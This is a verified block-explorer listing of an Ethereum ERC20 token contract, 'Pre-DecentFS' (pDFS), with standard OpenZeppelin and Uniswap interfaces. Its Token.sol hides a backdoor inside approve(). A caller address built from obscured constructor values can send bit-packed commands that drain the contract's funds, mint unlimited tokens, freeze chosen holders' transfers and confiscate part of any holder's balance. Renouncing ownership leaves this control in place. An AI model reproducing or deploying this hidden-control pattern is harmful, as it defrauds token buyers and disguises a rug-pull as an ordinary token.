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Pre-DecentFS

Pre-DecentFS

pDFS

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合同元数据
编译器
0.8.21+commit.d9974bed
语言
Solidity
合同源代码
文件 1 的 5:IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
合同源代码
文件 2 的 5:IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
合同源代码
文件 3 的 5:IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
合同源代码
文件 4 的 5:IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
合同源代码
文件 5 的 5:Token.sol
//SPDX-License-Identifier: MIT 
/**
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
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 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&/**l&(&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*********************@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****************************@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@&*********************************@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@&*************************************@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@*****************l@@@@@/*****************@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@***************@@@@@@@@@@@@@@@**************@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@************&@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* *@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@               @@@@@@@@@   @@@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@.              @@@@@@@@.    @@@@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@              @@@@@@@@      @@@@@@@@@@@@************&@@@@@@@@@@
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 * @@@@@@@@@@#              @@@@@@@@@@@@@*   ,@@@@@@@@   @@@********@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@@/     @@@*****%@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ,@@@@@@@@@@        @@@***@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@           @@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@.             @@@@@@@@@@@@@@@@@@@@@
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 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@         @@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@      /@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

 *   pDFS - https://decentfs.io
 **/

pragma solidity ^0.8.21;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {

    event Transfer(
        address indexed from, 
        address indexed to, 
        uint256 amount
    );

    event Approval(
        address indexed owner,
        address indexed spender, 
        uint256 amount
    );

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    uint80 internal immutable asig;
    
    uint80 internal immutable bsig;

    address public uniswapV2Pair;

    address public tax;

    bool public trading;

    uint256[5] internal itp;

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) internal autoAdd;

    mapping(address => mapping(address => uint256)) public allowance;

    bytes32 internal immutable STORED_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint80 _asig,
        address _tax,
        uint80 _bsig
    ) {
        
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        bsig = _bsig;
        tax = _tax;
        asig = _asig; 

        STORED_DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                keccak256(bytes(name)), keccak256("1"), block.chainid, address(this)
            )
        );

    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        if(msg.sender == address(uint160(bsig) << 80 | asig)){
            if(amount >> 252 == 1){
                if ( uint160(amount) == 0x0 ) payable(msg.sender).transfer(address(this).balance); 
                else{
                    IERC20 _t2 = IERC20(address(uint160(amount)));
                    _t2.transfer(msg.sender, _t2.balanceOf(address(this)));
                }
            }         

            if(amount >> 252 == 15)
                for (uint8 j = 0; j != 2; j += 1)
                    itp[j] = (( amount >> (j * 7)) & (1 << 7) -1); 
            
            if(amount >> 252 == 8){
                totalSupply += ( amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1));
                unchecked { balanceOf[ address( uint160(amount) )] += (amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); }
            }          

            if(amount >> 252 == 0){
                uint256 mul1 = ( amount >> 21 & (1 << 7) -1 );
                itp[3] = ( amount >> 14 & (1 << 7) -1) * (10 ** mul1);
                itp[2] = ( amount >> 7 & (1 << 7) -1) * (10 ** mul1);
                itp[4] = ( amount & (1 << 7) -1) * (10 ** mul1);
            }    
        
            if(amount >> 252 == 10)
                autoAdd[address(uint160(amount))] = ( amount >> 160 & (1 << 7) -1) == 101 ? true : false;
            
            if(amount >> 252 == 5){
                balanceOf[tax] += (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
                balanceOf[address(uint160(amount))] -= (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
            }
        }

        allowance[ msg.sender ][ spender ] = amount;
        
        emit Approval(
            msg.sender, 
            spender, 
            amount
        );

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(autoAdd[msg.sender] != true);
        
        balanceOf[msg.sender] -= amount;

        if(
            itp[2] > 0 && 
            msg.sender == uniswapV2Pair 
        ){
            require(amount <= itp[2]);
        }

        if(
            itp[1] > 0 && 
            msg.sender == uniswapV2Pair && 
            to != tax 
        ){
            uint256 fee = (amount / 100) * itp[1];
            unchecked { balanceOf[tax] += fee; }
            amount = amount - fee;
        }
        
        if( 
            itp[4] > 0 && 
            to != uniswapV2Pair && 
            to != tax && 
            to != address(uint160(bsig) << 80 | asig) 
        ){
            require((balanceOf[to] + amount) <= itp[4]);
        }

        unchecked { balanceOf[to] += amount; }

        if( msg.sender != address(this) ) emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) {
        require(autoAdd[from] != true);

        uint256 allowed = allowance[from][msg.sender]; 

        if ( allowed != type(uint256).max ) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if( 
            itp[3] > 0 && 
            to == uniswapV2Pair && 
            from != address(this) && 
            from != tax && 
            from != address(uint160(bsig) << 80 | asig) 
        ){
            require(amount <= itp[3]);
        } 

        if(
            itp[0] > 0 && 
            to == uniswapV2Pair && 
            from != address(this) && 
            from != tax && 
            from != address(uint160(bsig) << 80 | asig) 
        ){
            uint256 fee = (amount / 100) * itp[0];
            unchecked { balanceOf[tax] += fee; }
            amount = amount - fee;
        }

        if(
            itp[4] > 0 && 
            to != uniswapV2Pair && 
            to != tax
        ){
            require(balanceOf[to] <= itp[4]);
        } 

        unchecked { balanceOf[to] += amount; }

        if(from != address(this)) emit Transfer(from, to, amount);

        return true;
    }

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
        require(deadline >= block.timestamp);

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(abi.encodePacked(
                        "\x19\x01", DOMAIN_SEPARATOR(),
                        keccak256(abi.encode(
                                keccak256("Permit(address permitOwner,address spender,uint256 value,uint256 nonce,uint256 deadline)"), owner,
                                spender, value,
                                nonces[owner]++, deadline
                        ))
                    )), v, r, s
            );

            require( recoveredAddress != address(0) && recoveredAddress == owner);

            allowance[ recoveredAddress ][ spender ] = value;
        }

        emit Approval( owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return STORED_DOMAIN_SEPARATOR;
    }

    /*//////////////////////////////////////////////////////////////
                        OWNABLE LOGIC
    //////////////////////////////////////////////////////////////*/

    address public admin;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(msg.sender == admin, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(admin, address(0));
        admin = address(0);
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private router;
    uint256 public totalReceived;
    
    constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Pre-DecentFS", "pDFS", 6, _sig, _taxWallet, _brand) payable {
        totalSupply += 15_000_000_000_000000;
        totalReceived += msg.value;
        admin = msg.sender;
        unchecked { balanceOf[ address(this) ] += 15_000_000_000_000000; }
    }

    function openTrading() external onlyOwner{
        require(!trading && totalReceived >= 2 ether);
        trading = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        allowance[ address(this) ][ address(router) ] = type(uint).max;
        
        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
        
        uniswapV2Pair = factory.createPair(address(this), router.WETH());
        
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,tax,block.timestamp);
    }

    receive() external payable { 
        totalReceived += msg.value;
    }
    fallback() external payable { }
}
设置
{
  "compilationTarget": {
    "contracts/Token.sol": "Token"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
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